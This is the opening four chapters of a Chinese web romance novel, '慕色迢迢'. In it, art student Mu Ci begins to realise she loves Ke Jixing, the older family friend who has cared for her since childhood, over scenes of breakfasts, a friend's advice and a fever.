《慕色迢迢》
1. 慕色迢迢
《慕色迢迢》
文/柏以昼
晋江首发
2024.09.24
Chapter01
夜凉如水。
一辆黑色迈巴赫驶向山泰湾。
司机将车停在车库里，车后座的男人挽着西装下车。
晚上有应酬，柯霁行喝了两杯，他让司机回去休息，扯着领口往二楼走。
家里很安静，智能灯自动亮起，男人将外套搭在沙发上，顺手脱下手表放在一旁，抬手刚准备解开余下几颗衬衫纽扣，便听见楼梯口传来一道睡意朦胧的嗓音。
“你回来了？”
柯霁行动作一顿。
他侧身，看见一脸睡意朦胧的慕瓷靠在楼梯上，浑身上下像是没长骨头似的。
柯霁行笑笑，几步上前将人扶正：“怎么跑我这来了？”
怀里的人却像没听到这句话一样，鼻翼翕动，凑近他，轻嗅了几下。
“柯霁行，你喝酒了。”
“没大没小的，”他纠正她：“叫哥哥。”
慕瓷撇撇嘴，不搭话。
“上回你是怎么答应我的？”
柯霁行胃不好，上回为了一个项目喝多了，半夜闹到医院去。为了这件事，慕瓷整整一个礼拜没有理他，后来还是他许诺，以后尽量少喝，慕瓷才肯和他说话。
“没多喝。”男人嗓音被酒润过，伴着沉与磁，听起来有些性感。
慕瓷不自然地揉了揉耳垂。
慕瓷嗓音透着闷：“我睡不着，你哄我睡觉吧，小行哥哥？”
女孩只有在有求于他的时候，才会乖乖喊他。
柯霁行捏捏她的耳垂：“多大了，嗯？还躲在哥哥怀里撒娇？”
慕瓷板着脸，开始扳着手指头数落：“三月四月——你都多久没回来看我了？”
最近事多，他确实有一段时间没有回山泰湾了。
柯霁行无奈，“祖宗，去房间等我，我先去冲个澡。”
闻言，慕瓷顿时一溜烟儿钻到房间去，从被子里探出个小脑袋看着他。
柯霁行失笑。等他洗完澡出来，却发现刚还说着让他哄睡觉的女孩已经睡着了。
柯霁行俯身替她将踢掉的薄被盖好，留了一盏昏黄壁灯，才轻轻掩上房门去自己房间休息。
“少爷，小小姐睡了？”
柯霁行回头，看到管家老林端着杯水站在一旁。
“需要让厨房煮点醒酒汤吗？”
“不用。”
柯霁行接过水：“对了，让林嫂明早准备点清淡的，备碗三鲜粥。”
慕瓷早上起床向来没胃口，小时候只有柯霁行喂她吃，她才肯吃两口。只是就算这样，慕大小姐也只肯用些清淡的，若是早餐不合心意，那便是一口不吃。
三鲜粥便是她为数不多肯赏脸吃上两口的东西。
*
第二天，慕瓷醒来的时候，天已经完全亮了。她趿着拖鞋下楼，一眼就看到了坐在沙发上用平板看新闻的男人。
早上的阳光柔和，打在他轮廓分明的侧脸上，晕开一小片阴影。
柯霁行轻微近视，不影响生活，只是在看电子设备时会备上一副眼镜。
他手掌脉络分明，手指微微用力，似乎是将新闻翻过一页，手背青筋浮出一条修长的线条。
慕瓷站在楼梯口，只觉得赏心悦目。
听到动静，男人偏头，“终于舍得起来了？”
慕瓷这才下楼，假装听不懂他的话外音，“你今天不去集团？”
他穿着简单的白衣黑裤，休闲极了，看着不像是要去上班的样子。
“晚点去。”
柯霁行放下平板，走到餐桌前：“过来吃早饭。”
慕瓷蔫儿哒哒，想撒娇逃过：“小行哥哥，我吃不下。”
一大早上谁刚起床就吃得下东西？反正她是一点胃口也没有。
柯霁行并不惯着她，他只站在原地，掀起眼皮，就这么看了她一眼。
慕瓷秒认怂，举手投降：“我吃还不行嘛！”
管的比她爹地还宽，她在心底吐槽。
看她乖乖吃早饭，柯霁行这才和她说起：“今天要去学校？”
“要去。”慕瓷：“何老师说我毕设有点问题，得改改。”
慕瓷在美术学院学画画，现在大四，最近在准备毕业论文。
柯霁行嗯了一声。小姑娘师从温老先生，温歌曾叹道慕瓷是天生画画的苗子，极有灵气。毕业设计而已，柯霁行没放在心上。
他说：“我送你去学校。”
*
司机已经在门口候着了。
慕瓷和柯霁行一起走出院子，慕瓷抬眼便看见从后院一楼出来一个熟悉的身影，她眸子一亮：“妍妍！”
不远处的女孩回头，看见慕瓷，也笑了：“小小姐。”
慕瓷走近，“不是和你说过了，叫我名字就好。”
林妍妍但笑不语，这是在柯家，就连她父亲都规规矩矩喊她小小姐，她怎么能喊她名字？
慕瓷问：“你这是要出门？是要去学校吗？”
林妍妍就读的学校就在慕瓷学校对面。
她点头：“今天有课。”
林妍妍比她小一级，现在读大三。
“那正好，你可以跟我们一起走。”
林妍妍还没说话，老林就开口了。
“小小姐不用麻烦，妍妍坐地铁去，也很快的。
老林在柯家多年，观念根深蒂固，这种和主人家一同乘车的事情在他心里是不合规矩的，况且，少爷能让他拖家带口一起住在柯家，他已经很感激了。
“反正我也是要去学校的，不是正好顺路么？地铁口好远，多不方便啊。”
“还是不了。”小小姐不在意，并不代表他们能如此没有边界。
林妍妍余光扫过慕瓷身上那件淡青色裙子，款式虽然简单，但质感上层，衣服上没有任何标签，一看就是定制的。
再看自己身上穿的普普通通的上衣，林妍妍捏紧衣角。
她一直知道，她和慕瓷是不一样的。
林妍妍闭了闭眼，“我——”还是坐地铁去。
话还没说完，就被一道低沉的男声打断了。
“让司机送他们去学校。”男人一锤定音。
柯霁行说出口的话，基本没有什么转圜的余地。
林妍妍怔愣地看向不远处地男人，男人指腹轻捻着袖扣，没有看她，但他随口一句话却解救了她此刻难堪的困境。
她垂下眼帘。她再明白不过，男人压根不在意她怎么去学校，他愿意管这种小事，只是因为这是慕瓷的提议罢了。
只要是慕瓷想做的事，桩桩件件，柯霁行几乎都会帮她完成。
柯霁行把慕瓷的包递给老林，顺手替她将歪了的衣领整理好，这家裙子很衬她，下回让人多送几件来。
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“中午去我那吃饭？”
慕瓷眨眨眼：“你去接我吗？”
柯霁行的助理赵晨在一旁，闻言，默默想了想自己老板今天排的满满当当的日程表。
却听见男人似是笑了笑，轻捏了捏她的脸颊，“事情办完打我电话。”
这就是答应了。
赵晨丝毫不惊讶，只要是这位慕大小姐的事，柯总一直是放在第一位的，别的事情只有往后推的份。
慕瓷高兴了，目送着他离开后才和林妍妍一起上了车。
司机在前面开车，林妍妍看着窗外快速回退的景色，喃喃道：“小小姐，少爷对你真好。”
慕瓷弯唇。
她心想，她对柯霁行也很好。
去学校的路程有些长，慕瓷拿出画本随意勾勒着线条。
“能给我看看吗？”
旁边传来一道嗓音，慕瓷侧头，把自己的画本递给林妍妍。
林妍妍翻了几页，手里抚摸着那些画，情不自禁道：“画的真好。”
慕瓷看出了林妍妍眸中的渴望，“你要是喜欢，我可以教你。”
林妍妍愣住了。
“我上次看到你在花园里画画，画的很认真，你——”
慕瓷话还没说完，林妍妍便大声打断她：“谁让你偷看我画画了？？”
慕瓷一愣。
几秒后：“对不起，我那次是不小心看到的，不是故意窥探你的隐私。”
慕瓷说的很认真，话里诚恳的歉意谁都听得出来。
司机往后瞧了一眼。
林妍妍回过神，“对不起，慕瓷，我不是故意——”
“没事儿。”
慕瓷没放在心上，父亲从小教育她，与人相处要有边界感，每个人都有不想让别人知道的秘密。
慕瓷拿回画本，继续在上面勾勒线条，一点也没有将刚刚的小矛盾放在心里。
女孩姣好的侧脸乖巧柔和，坐在宽大舒适的商务车上，周身气质让人一看就知道非富即贵，是被人娇养长大的。
可就是太好，连一粒细小的尘埃在她身边都显得太过突兀。
林妍妍慢慢握紧了拳头。
车子驶到美术学院门前，慕瓷和林妍妍一起下车，没让司机开进去。
看到车子驶离，林妍妍似乎是装作不在意开口道：“对了慕瓷，我看你今天是从柯家出来的，你昨晚睡在那吗？”
“嗯。”慕瓷：“我半夜睡不着，就跑到柯霁行那儿去了。”
“你们关系从小就好，我真是羡慕。”林妍妍说：“可是你们现在都长大了，再这样，是不是不大好？”
慕瓷一愣：“不太好？”
她和柯霁行从小就这样，一直以来压根没觉得有什么不对劲的地方。
林妍妍解释：“我知道你们是青梅竹马的感情，但是别人不知道啊，万一外边传闲话——”
慕瓷笑了：“不会的。再说，柯霁行也不在乎这些。”
丝丝缕缕的嫉妒缠绕在林妍妍心头，有些话没过脑子几乎是下意识说出来了。
“那少爷以后的女朋友也不在意吗？”
女朋友。
柯霁行的女朋友。
这几个字字字环绕在慕瓷的脑海里，她一时之间没明白这几个字代表了什么。
等到她将这几个字嚼碎了，明白了其中深意，顿时像被这几个字给砸晕了一般，整个世界天旋地转。
2. 慕色迢迢
Chapter02
慕家和柯家早年是邻居，两家人知根知底，住得近，交情也深，两家人都没把彼此当外人。
小时候的慕瓷十分羡慕隔壁柯叔叔家的女儿谭凝，因为谭凝有个哥哥，但她没有。
她总是和慕港盛说：“爹地爹地，我也想要一个哥哥，你们生个哥哥出来陪我玩~”
慕港盛和宋倾啼笑皆非。
他们去哪儿给她弄个哥哥出来？
于是哄她：“那也是哥哥呀。”
小慕瓷瞪大眼：“小行哥哥也是我的哥哥？”
宋倾点头。
恰逢那时候柯光复和妻子潭清荣在外拓展业务，忙的不着家，就把小柯霁行交给慕家照顾。
于是小慕瓷从那天起就高兴了，再也不吵着闹着要宋倾给他生哥哥了，整天围着小柯霁行身后转。
等柯霁行反应过来，才发现自己身后这个小尾巴，一跟就跟了快二十年。
奇怪的是他也不厌烦，更甚，他对慕瓷有着出乎意料的耐心，就连对谭凝，他自己的亲妹妹，他都没有费过这么多心思。
后来，宋倾骤然离世，慕港盛事业重心逐渐偏向港城，父女俩常年分隔两地，后来慕瓷大学也考在了这边，其实大多数时间都是柯霁行在照顾。
以至于她忘了，也从来没有想过另一种可能性——一直陪她长大，对她有求必应照顾有加的柯霁行可能会有女朋友，会娶别人，不再是她一个人的小行哥哥。
慕瓷一整个上午都心不在焉，连何老师叫了她好几遍都没听见。
“慕瓷，你昨晚没睡好吗？”
慕瓷回过神，“对不起老师，我走神了。”
何老师：“还是没有灵感吗？”
慕瓷摇了摇头。
“时间不多了，也要打起精神来了，现在这种状态可不行。”
慕瓷在画画这条路上太过顺遂了，从小师从国画大师温歌，她悟性好，以至于才不到二十一岁便在国画上小有成就，这些年的几幅作品更是让她名声大噪。
只不过慕家为了保护她，不欲让她小小年纪便在人前曝光。
慕瓷也不追求这些。
从何老师办公室出来已经快十一点半了，慕瓷看了眼手机，柯霁行二十分钟之前发了条消息过来。
慕瓷抿唇，点开了那条置顶对话框。
柯霁行问她什么时候结束。
指尖停顿片刻，她回过去：【中午不过去了，温荔约我吃饭。】
*
大中午的，温荔走到火锅店里，坐到慕瓷对面，“慕大小姐，你永远不知道我为了赴你的约付出了什么。”
慕瓷夹了一块红彤彤的牛肉放到碗里，沾满芝麻酱，放进嘴里的前一刻，才说：“怎么，傅大少爷不高兴了？”
温荔看她吃的爽快，下意识咽了口口水，随即把头发扎起来，也大快朵颐的吃了起来。
“我可太想念这一口了，你敢信？傅靳纶竟然禁我辣椒！”
慕瓷瞥她一眼：“那你快别吃了，我怕被傅大少爷追杀。”
温荔没忍住弯了弯唇：“得了吧，有柯霁行在，谁敢动你。”
慕瓷动作一顿。
温荔瞥她一眼：“吵架了？我说呢，大中午的，你不去找柯霁行，居然主动约我吃饭。”
慕瓷瞪她：“喂，温荔小姐，你自己想想，自从你跟了傅靳纶，跟我出来的次数屈指可数好么！”
温荔摊手：“男色在前，姐妹算什么。”
慕瓷：“……”
温荔终于良心发现，假模假样的充当起知心大姐姐：“说说吧，柯霁行怎么你了？”
柯霁行那家伙虽然狗，但对慕瓷，那一向是百依百顺，他们还能闹别扭？
慕瓷别别扭扭，半天也没蹦出一个字来。
温荔眨眨眼：“你们搞在一起了？”
慕瓷：“！！！！”
“什么叫搞在一起？？？”
温荔揉了揉耳朵：“这么大反应做什么，怎么啦？这不是很正常的嘛。”
“不是——”慕瓷无语：“他是我哥——”
温荔轻嗤一声，“慕大小姐，你要不要听听自己在说些什么？”
“本来就是啊——我们从小一起长大，我——”慕瓷像是要辩解什么，可是在温荔如有实质的目光里，她的声音渐渐小了下去，直至消音。
温荔：“看，你自己都说不下去，还想骗我。”
慕瓷：“。”
“你怎么看出来的？”
温荔无言以对：“我以为这是我们公认的事实。”
“我、们？”
温荔了然：“放心，以我纵横情场多年的第六感，柯霁行应该是还没发现。”
“……我录音了，马上发给傅靳纶。”
嘴里这么说着，心里悬着的石头却悄悄放了下来。
温荔：“……”
“……狠还是你狠。”
两人相顾无言，过了一会儿，慕瓷忽然开口：“你当初怎么搞定傅靳纶的？”
傅靳纶和温荔的舅舅闻暨是好友，按理说温荔和傅靳纶隔着辈呢，连这两人都搞到一起去了，这世界上还有什么不可能的？
温荔：“……”
“……是他追的我好么？”
慕瓷看她。
温荔败下阵来，“好吧好吧，就算是我先表示出那么一丁点好感的。”
温大小姐用指甲盖比出一丁点缝隙，一点亏都不肯吃。
“那后来也是他追我。”
慕瓷眨眼：“所以你怎么做到的？”
“就——”
温荔一顿，觉得自己不能教坏祖国未来的花朵，“小孩子少打听！”
慕瓷：“。”
温荔：“说真的，我觉得你干脆就说开吧。”
温荔觉得，柯霁行不一定真的就对慕瓷没有别的想法，有时候只是当局者迷。
慕瓷沉默了。
从她有记忆起柯霁行就在她身边，万一他拒绝了，万一在他心里，她就只是他的妹妹——
温荔一眼就看出症结在哪：“那你就甘心？”
慕瓷没说话。她不知道，她现在脑子一团乱麻，什么头绪都理不出来。
温荔暗自叹了口气。
有些话，别人再怎么劝都没用，得自己想通。
*
和苑。
顶层包房内，几个男人围坐着打牌。
柯霁行推开门，还未走进，就听见一个男人戏谑道：“哟，稀客啊，哪阵风把柯少吹来了？”
柯霁行没搭话，下首的一个男人站起身让位，他随手解开最上方两粒衬衫纽扣落座。
闻暨：“怎么，今天不用奶孩子？”
柯霁行掀起眼皮：“别瞎扯。”
“温荔比慕瓷才大几岁？他们是闺蜜，慕瓷在我眼里可不就是小孩儿么。”
闻暨向来愿意在这种事情上占便宜，他吁了口烟，随手抽出几张牌扔下去，笑道：“害，这么看来，在座我的辈分最高啊。”
另一边，傅靳纶扫他一眼，没说话。
下一秒，却不动声色地将手里底牌丢下去，“承让。”
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>闻暨：“……”
靠！
柯霁行端起酒杯，和几人碰了碰。
“今天倒是难得。”
傅靳纶撩眼皮：“那还不得亏你家那位。”不然谁愿意来陪这一群单身狗。
柯霁行愣了下：“慕瓷？”
他很快反应过来，“是慕瓷约温荔出去的？”
傅靳纶颔首，“你不知道？”
柯霁行蹙眉。
“我说啊，你不能把慕瓷看那么紧，人家一个花季少女，马上大学生涯就要结束了，正是热恋玩闹的时候，你总是把人家姑娘拴在自己身上做什么？”
柯霁行眼皮一扫。
“……”
得，是他多嘴。
闻暨转而说起工作上的事。
柯霁行很久不抽烟，今天不知怎么烟瘾有些犯了，懒散地支了一根在指间点燃，却没有吸。
鼻间是淡淡的尼古丁的味道，他听着傅靳纶和闻暨说着最近的一个项目。
倏地，他按灭指间的烟，起身。
“我先撤了。”
闻暨看了眼腕表：“这么早？”
“嗯。”
眼看着人马上要走出包间，闻暨想起什么，出声：“过段时间小荔枝生日，你带小瓷来参加？”
柯霁行抬了抬手，示意知道了。
闻暨：“估计回去哄慕大小姐睡觉去了，这一天天的，他工作还这么忙，累不累啊？”
他是理解不了柯霁行这种带孩子行为。
傅靳纶拿起一旁的外套：“我也走了。”
“……不是，你怎么也走了？”
“回去哄老婆睡觉。”柯霁行走了，说明慕瓷也该回去了，那他老婆也该回家了。
闻暨：“……”
一个个的就欺负他单身，什么世道！
*
柯霁行喝了酒，叫了司机来接。
司机：“柯总，回哪儿？”
“等会儿。”柯霁行拿出手机，拨通慕瓷电话。
柯霁行指腹摩挲着指节，不疾不徐等着对面接通。
过了一会儿，那边传来一道压低嗓音。
“喂？”
“在哪儿。”
慕瓷顿了顿，老实说：“宿舍。”
柯霁行眯了眯眼：“怎么没回家？”
“家里又没人，我回去做什么？”
也不知道说的是哪个家，对面的人也没问。
柯霁行安静片刻，“今天出去吃饭了？”
“嗯。”慕瓷走到阳台，背靠着栏杆，下意识抠手。
“吃的什么？”
“火锅。”
“晚上给你发消息怎么没回？”
“在画画，没看见。”
柯霁行忽然道：“慕瓷。”
慕瓷心里重重一跳：“……干嘛。”
“别抠手。”
“……”他是隔着电话线在她宿舍安了监控吗！
“温荔怎么突然找你。”他忽然问。
慕瓷张嘴就扯：“她找我吐槽傅靳纶。”
“……”
柯霁行被气笑，小骗子。
慕瓷被他问的心烦：“有事儿没？没事儿我睡了。”
“才几点。”他淡声道。
慕瓷小声嘀咕：“管的真宽——”
男人低沉的嗓音倏地打断她：“下楼等我。”
慕瓷心跳加速：“你要过来？”
柯霁行似是笑了声，他嗓音很低，在这无边的夜色中，温柔的不可思议。
“我来哄我姑娘睡觉。”
3. 慕色迢迢
Chapter03
四月份的天气，夜风中还带着些许凉意。
挂掉电话的下一秒，慕瓷想也没想就往楼下跑，舍友时湾还没睡，瞧见她要出去，下意识喊道：“外面冷，你要不要披件——”衣服。
话还没说完，哪里还能看到慕瓷的影子？
兴许是柯霁行那句话杀伤力太大，慕瓷在楼下站了好一会儿都感觉自己的脸上还带着热意，直到远远瞧见那辆熟悉的车子驶近，她才拍了拍脸颊，暗道自己没出息，试图让自己冷静下来。
柯霁行皱着眉问：“不是让你等我电话再下楼吗？”
他接过司机递来的西装，披到慕瓷身上。
宽大的西装混着清冷的木质香调罩在慕瓷身上，丝丝缕缕的气息几乎侵蚀她全部的感官。她几乎是下意识有些眷恋的缩了缩身子，让自己被他的气息笼罩。
“我不冷。”
柯霁行瞥她一眼，“我看你是好了伤疤忘了疼。”
慕瓷体质算不上好，从小就很容易生病，娇气得很，有时候稍不注意吹风着了凉第二天就得感冒。
慕瓷：“……”
她小声嘀咕：“我好久没生病了好不好？而且，没听过生点小病是正常的么？总比平常不声不响，冷不丁生场大病好吧？”
柯霁行抬眼。
慕瓷躲过他的视线，径直钻上车。
“好嘛好嘛，我就是一时忘记了嘛！干嘛这么凶！”
司机站在车门旁，眼观鼻鼻观心。
“柯总，回哪儿？”
柯霁行还没开口，慕瓷就说：“不回家。”
她说的家自然指的是山泰湾。
柯霁行示意司机将车内温度打高，才不紧不慢的问了句：“不回家去哪儿？”
慕瓷眼珠子转了转，扭头道：“反正不回去，我明天还要回学校。”
如果她没记错，柯霁行在离她学校不远处有一套公寓。
柯霁行慢慢看向她。
他眼眸很深，看不出什么情绪。
慕瓷心忽然就有些乱了，怕他看出自己的小心思，却又很诡异的怕他看不出来。
“去鹤湖别院。”
男人的嗓音很淡。
司机：“好的。”
慕瓷一颗心慢慢回落，带着一股说不清道不明的低落。
“都依着你的意思了，怎么还是不高兴，嗯？”
慕瓷抬眼，撞上了男人深邃的眼眸。
男人眼底带着无奈，慕瓷启唇，却半天没说出话来。
说什么？说我看上你了，不想当你的妹妹，想做你的女朋友？
慕瓷说不出来，几句话的事，对她来说却比登天还难，甚至想想就觉得羞耻。
她躲开男人的视线，生硬转移话题：“你又喝酒了。”
慕瓷说完这句话也没敢看往柯霁行的方向看，只把脸偏向窗外。
耳侧忽然被男人温热的指腹碰触，慕瓷下意识回头，愣愣的看着眼前忽然放大的俊脸，
“迢迢。”他喊她。
“最近有什么心事？怎么和哥哥都不亲了？”
慕瓷眨眨眼睛，尽量让自己的视线不粘在他脸上。
真是见了鬼了，明明这张脸看了十几年了，怎么还是会心跳加速啊！？
慕瓷你能不能行呀！
面前的女孩眼神闪躲，巴掌大脸蛋上白皙光滑地似乎都能瞧见细小的绒毛，不知是不是车上温度有些高了，她脸颊烧红，正是最好的年纪，就这么安静的坐着呈现的尽是女孩的娇俏和美好。
柯霁行眼底沉了一下，忽而问：“恋爱了？”
慕瓷心剧烈一跳，大声道：“没有！”
四下无声。
慕瓷忽然感觉自己的反应有些过于激动了。
她紧张地舔了舔唇，重复说了一句：“真没有。”
柯霁行眸色越发沉了。
“慕瓷。”他喊她的名字。
“不许早恋。”
？
慕瓷简直不敢相信自己的耳朵：“早恋？我都快二十一岁了，还早呢？？”
柯霁行阖上眼，不管她怎么闹腾，淡声说：“哥哥说不许就是不许。”
*
鹤湖别院。
柯霁行将西装随手扔在沙发上，瞥了眼还站在门口发愣的慕瓷：“发什么呆？去洗澡睡觉。”
慕瓷虽然是第一次到这来，但这一套的装修风格和他其他房子迥然不同。这套房子装饰的很是温暖，客厅铺了厚厚的羊毛地毯，是女孩子才会喜欢的风格。
慕瓷僵在原地不肯进去。
她语气僵硬：“我不住这儿。”
柯霁行没弄懂她突如其来的情绪，耐着性子问：“怎么了，不喜欢？”
慕瓷瞪他，眼眶都泛起红潮。
“我不住别人住过的地方！”
“……”
空气安静了一瞬，柯霁行捏了捏眉心，“这里没别人来过。”
“鬼才信呢！这一看就是给女孩子准备的，小行哥哥真是大方啊，不会是给我未来嫂子准备的房子吧？是谁呀，带出来给我瞧瞧呀，如果——”
“这是给你准备的。”
诶？
慕瓷眨眨眼。
柯霁行耐心告罄，一把将还站在门前的女孩拽进来，“给你准备的，本来想的是你不愿意住校就住到这儿来，可你在宿舍住的高兴，这里就一直空着。”
这边的房子是柯霁行在慕瓷上大学那一年置办的，装修的时候费了他不少心思，硬装软装都是按照她的喜欢配置的，她倒好，第一次过来就和他闹脾气。
慕瓷没防备径直撞进了他怀里，熟悉的木质香调一点一点侵蚀她的感官。
“现在可以去洗澡休息了吗，慕大小姐？”
*
夜色渐渐深了，慕瓷洗完澡，端了两杯牛奶敲响了书房的门。
门没关，轻掩着。
柯霁行正在打电话，抬眼，示意她进来。
慕瓷把其中一杯牛奶放到柯霁行手边，自个儿乖乖窝在沙发上戴上耳机看剧。
恒清近几年发展迅速，柯霁行作为掌权人，自然是最忙的那一个，慕瓷已经习惯了他的忙碌，好在她自个儿也会找乐子，柯霁行晚上处理工作，她就常常像这样和他呆在一处，有时候画画，有时候懒散的随意打开一个视频打发时间，两人各自忙着互不干扰，倒也分外融洽。
“柯总，集团人事部那边已经和唐小姐谈的差不多了，唐小姐那边说签合同之前想和您面谈。”
集团文娱板块总裁年前就已经升职调离，这个位置便空缺下来。
人事部递上去好几个人选，柯总都没点头。
人事部林总愁的头发都白了，最后却怎么也想不到，柯总竟然把唐诗怀给挖来了。
恒清上下哗然，唐诗怀从前任职航惟，职位不低，竟然跳槽到恒清来了？
柯霁行抬眼，一旁小姑娘几乎将自己整个身子都陷进柔软的沙发里，惬意的不得了。她捧着玻璃杯，小口喝着牛奶，连唇边沾了一圈奶渍都未曾发
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现。
柯霁行眼底闪过一丝笑意，一锤定音：“明天会前有十分钟，让她过来。”
男人往后靠了靠，拇指指腹轻轻摩挲着食指指侧，说：“对了，替我备份礼。”
顿了顿，柯霁行补充道：“给温老先生，庄重些。”
*
慕瓷正看视频看的入神，忽然听到上方传来一声轻笑，耳边是柯霁行含笑的嗓音。
“是谁家的小花猫？”
慕瓷抬头。
一只骨节分明的手闯入视线。
柯霁行的手很好看，脉络清晰，血管凸起的恰到好处，慕瓷曾经不止一次的捧着他的手感叹道：“怎么这么会长？都可以去当手模了。”
但柯总是不可能去当手模的，恒清上下都等着柯总养着，更何况还要养慕大小姐，一个手模可养不起赫赫有名的慕大小姐。
可就是这只被她赞美过无数次的手，在她眼前放大，在她还没反应过来的时候轻轻蹭了一下她的唇角。
刚刚影视剧里的画面浮现在脑海里。
慕瓷心跳如雷，几乎是下意识的躲开了。
她呼吸急促，打开他的手：“你做什么？”
“啪”的一声，声音清脆。
男人修长的手背很快出现一道红印，
柯霁行顿了顿，狭长的眸子细微的眯了一下，“怎么？哥哥还碰不得了？”
空气突然安静。
慕瓷舔了舔唇，移开视线，“你这么突然，吓到我了。”
柯霁行看了她一会儿，下颌往笔记本屏幕方向抬了抬：“怎么看起这些了？”
低沉的嗓音近在咫尺，慕瓷回过头才发现柯霁行不知何时坐在自己的后方，双手虚拢在她两侧。
男人伸手，摘下她的耳机，指腹的温度染上她的耳垂。
慕瓷强忍着泛上心尖的痒意：“无聊随便看看。”
柯霁行垂眸，画面上男生女生正是最好的年纪，互相对视一眼，四周都似乎冒起了粉红泡泡。
慕瓷注意被转移：“看这些怎么了？谁不爱磕甜甜的恋爱？”
倏地，“啪嗒”一声，面前的电脑被男人毫不留情的合上。
“。”
慕瓷有点茫然：“怎……怎么了？”
柯霁行伸手，拿过电脑，平静道：“我用会儿电脑。”
？
慕瓷伸手，指了指办公桌上巨大无比的显示屏，“……那儿不是有电脑么？”
“找份文件。”
慕瓷：“……”
行吧。
慕瓷舔舔唇，有些可惜，她还没看够呢。
柯霁行垂眸看着她。
“想恋爱了？”
慕瓷：“！！！”
“我才不想！”
柯霁行看了她好一会儿，好像是在分辨她说的是真话还是假话。
好一会儿，柯霁行才收回视线。
“没有就好。”
柯霁行看向电脑，打开一份文件，“不是不让你恋爱，只是——”
男人顿了顿，说：“你现在还小。等以后，哥哥亲自给你把关。”
慕瓷躁动的血液似乎忽然凝住了。
刚刚她还以为他话里的意思是——
慕瓷垂眸，嗓音很低。
“谁要你把关了。”
柯霁行没听清，他侧身，“什么？”
慕瓷抬眼瞪他，“没什么！”
说着气嘟嘟的跑出了书房。
柯霁行一脸莫名，这又是怎么了？
4. 慕色迢迢
Chapter04
月色正浓，慕瓷缩在被子里打滚。
视频那头大洋彼岸的谭凝正在涂口红，瞧见她脸红的样子，红唇勾了勾。
“还真是小朋友，怎么这么纯情，这样怎么玩的过我哥啊？”
慕瓷猛的坐起来，不服气的反驳：“我不小了！”
谭凝视线往下，意味深长的说：“确实不小，便宜柯霁行了。”
慕瓷顺着谭凝的视线往下，才发现自己的睡衣肩带不知何时散开了，白皙一片。
慕瓷把被子拉上，蒙住脸颊，也不知被她的那句话刺激到了，脸红地不可思议：“阿凝，你说什么呀！”
谭凝再一次在心里感叹自家哥哥的好运，这么个香香软软的小姑娘，谁不喜欢啊？
慕瓷看着谭凝精致的侧脸，喃喃道：“阿凝，你好漂亮啊。”
谭凝和柯霁行长得并不像，谭凝更像母亲潭清荣，潭清荣早年便是京市闻名的美人了，谭凝更是十足十的继承了她的美貌。
他们兄妹只有眼眸处有几分神似，特别是挑眉的时候。
谭凝故意道：“某人觉得我漂亮，该不会是因为我哥的滤镜吧？”
“才不是呢！”慕瓷反驳道：“我昨儿个可看到微博热搜，【千金难换盛贵妃一笑】。”
盛贵妃是谭凝最近热播的一部古装剧里饰演的角色，虽是女二，却圈粉无数。
慕瓷慢吞吞的起身，走到阳台上，撑着脑袋看月亮，半晌，她问：“阿凝，我真的像没长大的小孩儿么？”
谭凝瞥她一眼：“小孩不好吗？”
“也不是不好。”慕瓷不知该怎么说，她嗓音很轻，带着一股自己都没发现的怅然：“可是……男人应该都喜欢你这样的吧？”
热烈张扬，像一朵盛开的玫瑰。
而不是她这样的，就连看一部爱情剧，都被说不合适的小姑娘。
谭凝一眼就看出症结在哪。
她撇撇唇角，都不忍心在小姑娘面前戳破自家哥哥那头大尾巴狼的阴暗心思。
谭凝看着慕瓷像是看一只无知的小白兔。
“迢迢，你是真的不知道男人的劣根性啊。”
越是纯白的，越想亲手染黑啊。
慕瓷眨眨眼，无辜道：“阿凝你这么了解啊？那上次说的那个陈医生，你追到了吗？”
谭凝：“。”
谭凝面无表情挂掉视频，不想再和慕瓷说话。果然小白兔和老狐狸呆久了，都变成一只小狐狸了！
*
第二天早上慕瓷下楼的时候，正好碰到赵晨来送衣服。
赵晨：“早上好，慕小姐。”
慕瓷嗓音微哑：“赵特助早上好。”
一旁看时讯的男人却不知何时放下了平板，走到慕瓷面前，伸手，轻轻捏住了小姑娘的下巴。
慕瓷被捏住，下巴艰难地合不上，呜咽啊呜地嘴里不知在说些什么。
“嗓子怎么了？”
女孩一张小脸干干净净，不施粉黛，衬的双唇分外水润殷红，因着被扣着下巴，双唇微张，唇缝透红湿润。
柯霁垂下眼，将手收回，不着痕迹地移开了视线。
慕瓷没注意，她揉了揉自己的下巴，柯霁行没怎么用力，但她下颚还是洇上了淡红指痕。
“没怎么，鼻子堵了。”慕瓷吸了吸鼻子，早上起来感觉头有点晕。
柯霁行蹙眉：“昨晚吹风受凉了？”
昨晚她在阳台看了好久的月亮，站的久了才后知后觉身上有些泛冷。只是她不敢和柯霁行说，若是让他知道，怕又要说她。
她含糊道：“只是昨晚没睡好。”
柯霁行将信将疑，不过慕瓷一向娇气，这鹤湖别院她之前从未来过，初次过夜，难免住不惯。
柯霁行将赵晨带来的早餐放在慕瓷面前：“晚点我让赵晨给你换张床。”
赵晨眼观鼻鼻观心。
若是他没记错，慕大小姐在山泰湾的床，是柯总早年特意在国外定制的，慕大小姐睡惯了那张，普通的床怎么可能怎么还入得了她的眼？
慕瓷鼻尖微微翕动，这个味道……
柯霁行好笑道：“家里什么时候多了一只小狗狗？”
慕瓷不理他，柯霁行哄道：“乖，把早饭吃了，这是早上我特意让林嫂准备的，你爱吃的三鲜粥。”
慕瓷整个人都恹恹的，“我不想吃。”
本来早上就不太吃的下去，现在头晕乎乎的，更不想吃了。
柯霁行端着小碗，将勺子伸到女孩唇边：“就吃三口好不好？”
赵晨简直没眼看。
他家里的三岁小侄女都不要这么哄着喂饭了。
被柯霁行好声好气的哄着，慕瓷总算是喝下了几口粥，只是慕大小姐说三口便是三口，多一口都不肯再吃。
柯霁行没办法，暗叹了一句“小祖宗”，也只能温了一杯牛奶给她带去学校。
*
美术学院。
今天有个招聘讲座，讲座结束，慕瓷浑身没力气，这才后知后觉的发现自己可能真的是感冒了。
时湾探手碰触她的额头，惊呼：“好烫，小瓷，你发烧了！”
慕瓷没什么力气的应了一声。
时湾焦急道：“要不要去医务室啊？”
慕瓷摇头道：“不用了，去宿舍吃药睡会儿就好了。”
她不喜欢医院，医务室也不行。
时湾拗不过她，只好扶着她回了宿舍。
慕瓷吃了药，卷了被子沉沉睡去。等时湾下了课回来，发现慕瓷不仅没有退烧，额头反倒是更烫了！
“小瓷，你怎么样了？”
慕瓷迷迷蒙蒙，呼吸都泛着不正常的热意。
时湾心道不好，当即要送她去医务室，只是慕瓷软着身子浑身失力，时湾一个人把她扶到宿舍楼下已经是费了全部力气。
